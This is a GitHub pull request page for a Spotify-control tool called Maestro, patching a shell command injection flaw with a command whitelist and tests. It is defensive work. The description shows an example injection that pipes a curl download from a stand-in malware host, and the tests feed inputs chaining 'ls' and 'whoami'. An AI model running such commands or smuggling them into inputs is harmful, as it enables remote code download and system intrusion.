Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OO Spotify Class #8

Merged
merged 4 commits into from
May 25, 2018
Merged

OO Spotify Class #8

merged 4 commits into from
May 25, 2018

Conversation

TylerRockwell
Copy link
Contributor

Why?

Maestro allowed any arbitrary shell commands to be run using /maestro along with a ; or &&
e.g. /maestro status; curl dangerous-malware.com > .malware-file
This change also makes the code more maintainable and preps it for additional features

What Changed?

Added a Spotify class with methods for each of Spotify's commands
Added validation to commands to mitigate bash command injection attacks
Added lots of tests

Copy link
Contributor

@dkniffin dkniffin left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A few small comments, then this looks good to go. 👍 Good work on this!

app.rb Outdated
output = HELP_TEXT unless $?.success?
[output, $?.success?]
# Find methods unique to Spotify class
VALID_COMMANDS = (Spotify.methods - Object.methods).freeze
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should this be Spotify.public_methods?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

With this PR, it won't make a difference, but for the sake of maintainability I'll change it.

args.downcase!
command, *params = *split_args(args)
command = command.to_sym
return [HELP_TEXT, true] if args == "help" || !VALID_COMMANDS.include?(command)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nice. That's a good way to fail quick.

let(:text) { "status; ls" }
it "returns the usage text" do
subject
expect(last_response).to be_ok
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Since we've got this set of expects a few times now, we should probably move it to a shared_examples block

end

context "command injection" do
let(:play_args) { "artist Trivium && whoami" }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just to be thorough, we should probably test a semicolon one as well.

@TylerRockwell TylerRockwell merged commit a71a254 into shpotify-rewrite May 25, 2018
@TylerRockwell TylerRockwell deleted the spotify-class branch May 25, 2018 16:17
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants